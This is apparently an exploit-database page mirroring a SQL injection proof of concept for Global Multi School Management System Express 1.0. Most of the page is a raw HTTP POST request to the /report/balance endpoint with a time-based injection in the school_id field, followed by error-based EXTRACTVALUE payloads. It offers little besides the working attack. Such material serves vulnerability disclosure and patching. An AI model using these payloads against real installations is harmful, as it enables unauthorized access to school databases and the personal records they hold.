Advertisement






Global Multi School Management System Express 1.0 SQL Injection

CVE Category Price Severity
CVE-XXXX-XXXX CWE-89 Unknown High
Author Risk Exploitation Type Date
Unknown High Remote 2023-08-23
CVSS
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N
Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2023080083

Below is a copy:

Global Multi School Management System Express 1.0 SQL Injection
# Exploit Title:  Global - Multi School Management System Express v1.0- SQL Injection
# Date: 2023-08-12
# Exploit Author: Ahmet mit BAYRAM
# Vendor: https://codecanyon.net/item/global-multi-school-management-system-express/21975378
# Tested on: Kali Linux & MacOS
# CVE: N/A

### Request ###
POST /report/balance HTTP/1.1
Content-Type: multipart/form-data; boundary=----------YWJkMTQzNDcw
Accept: */*
X-Requested-With: XMLHttpRequest
Referer: http://localhost
Cookie: gmsms=b8d36491f08934ac621b6bc7170eaef18290469f
Content-Length: 472
Accept-Encoding: gzip,deflate,br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Host: localhost
Connection: Keep-alive
------------YWJkMTQzNDcw
Content-Disposition: form-data; name="school_id"
0'XOR(if(now()=sysdate(),sleep(6),0))XOR'Z
------------YWJkMTQzNDcw
Content-Disposition: form-data; name="academic_year_id"

------------YWJkMTQzNDcw
Content-Disposition: form-data; name="group_by"

------------YWJkMTQzNDcw
Content-Disposition: form-data; name="date_from"

------------YWJkMTQzNDcw
Content-Disposition: form-data; name="date_to"

------------YWJkMTQzNDcw--

### Parameter & Payloads ###
Parameter: MULTIPART school_id ((custom) POST)
Type: error-based
Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY
clause (EXTRACTVALUE)
Payload: ------------YWJkMTQzNDcw
Content-Disposition: form-data; name="school_id"
0'XOR(if(now()=sysdate(),sleep(6),0))XOR'Z' AND
EXTRACTVALUE(1586,CONCAT(0x5c,0x71766b6b71,(SELECT
(ELT(1586=1586,1))),0x716a627071)) AND 'Dyjx'='Dyjx
------------YWJkMTQzNDcw
Content-Disposition: form-data; name="academic_year_id"

------------YWJkMTQzNDcw
Content-Disposition: form-data; name="group_by"

------------YWJkMTQzNDcw
Content-Disposition: form-data; name="date_from"

------------YWJkMTQzNDcw
Content-Disposition: form-data; name="date_to"

------------YWJkMTQzNDcw

Copyright ©2024 Exploitalert.

All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use.